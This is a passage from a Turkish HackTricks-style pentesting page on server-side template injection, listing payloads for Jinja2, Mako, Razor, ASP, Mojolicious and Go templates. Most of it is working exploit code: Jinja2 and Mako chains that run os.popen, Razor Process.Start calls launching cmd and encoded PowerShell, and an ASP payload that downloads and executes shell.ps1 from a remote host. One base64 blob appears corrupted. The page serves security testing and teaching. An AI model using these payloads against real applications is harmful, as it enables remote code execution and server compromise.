{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Jinja'nın nasıl kötüye kullanılacağı hakkında daha fazla detay:

{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}

Diğer payloadlar https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Daha fazla bilgi

Razor (.Net)

  • @(2+2) <= Başarılı
  • @() <= Başarılı
  • @("{{code}}") <= Başarılı
  • @ <= Başarılı
  • @{} <= HATA!
  • @{ <= HATA!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AZQB0ADYANAAuAGUAeABlAA==");

.NET System.Diagnostics.Process.Start yöntemi, sunucuda herhangi bir işlemi başlatmak ve dolayısıyla bir web kabuğu oluşturmak için kullanılabilir. https://github.com/cnotin/RazorVulnerableApp adresinde zafiyetli bir web uygulaması örneği bulabilirsiniz.

Daha fazla bilgi

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Hiçbir şey
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Daha Fazla Bilgi

Mojolicious (Perl)

Perl olsa da Ruby'deki ERB gibi etiketler kullanır.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Hata
<%= perl code %>
<% perl code %>

GO'da SSTI

Go'nun şablon motorunda, kullanımının doğrulanması belirli yüklerle yapılabilir:

  • {{ . }}: Veri yapısını gizler. Örneğin, Password özelliğine sahip bir nesne ile geçilirse, {{ .Password }} bunu açığa çıkarabilir.
  • {{printf "%s" "ssti" }}: "ssti" dizesini görüntülemesi beklenir.
  • {{html "ssti"}}, {{js "ssti"}}: Bu yükler "html" veya "js" eklenmeden "ssti" döndürmelidir. Daha fazla yönerme Go belgelerinde keşfedilebilir burada.

XSS Sömürüsü

text/template paketi ile XSS doğrudan yükü ekleyerek basit olabilir. Buna karşılık, html/template paketi yanıtı kodlayarak bunu önler (örneğin, {{"<script>alert(1)</script>"}} sonucu &lt;script&gt;alert(1)&lt;/script&gt; olur). Bununla birlikte, Go'da şablon tanımı ve çağrısı bu kodlamayı atlayabilir: {{define "T1"}}alert(1){{end}} {{template "T1"}}

vbnet Kodu Kopyala

RCE Sömürüsü

RCE sömürüsü, html/template ve text/template arasında önemli ölçüde farklılık gösterir. text/template modülü, herhangi bir genel işlevi doğrudan çağırmayı sağlar ("call" değerini kullanarak), bu html/template içinde izin verilmez. Bu modüller için belgeler html/template için burada ve text/template için burada mevcuttur.

Go'da SSTI aracılığıyla RCE için nesne yöntemleri çağrılabilir. Örneğin, sağlanan nesnenin komutları yürüten bir System yöntemi varsa, bunu {{ .System "ls" }} gibi sömürülebilir. Bu sömürü için genellikle kaynak koduna erişim gerekir, verilen örnekte olduğu gibi:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Daha fazla bilgi

Daha Fazla Sömürü

Daha fazla sömürü için https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection'ı kontrol edin. Ayrıca ilginç etiket bilgilerini https://github.com/DiogoMRSilva/websitesVulnerableToSSTI adresinde bulabilirsiniz.

BlackHat PDF

{% file src="../../.gitbook/assets/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}

İlgili Yardım

Faydalı olabileceğini düşünüyorsanız okuyun:

Araçlar

Kaba Kuvvet Tespit Listesi

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

Uygulama ve Referanslar

RootedCON, İspanya'nın en ilgili siber güvenlik etkinliği ve Avrupa'nın en önemlilerinden biridir. Teknik bilgiyi teşvik etme misyonu ile bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.

{% embed url="https://www.rootedcon.com/" %}

Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'i desteklemenin diğer yolları: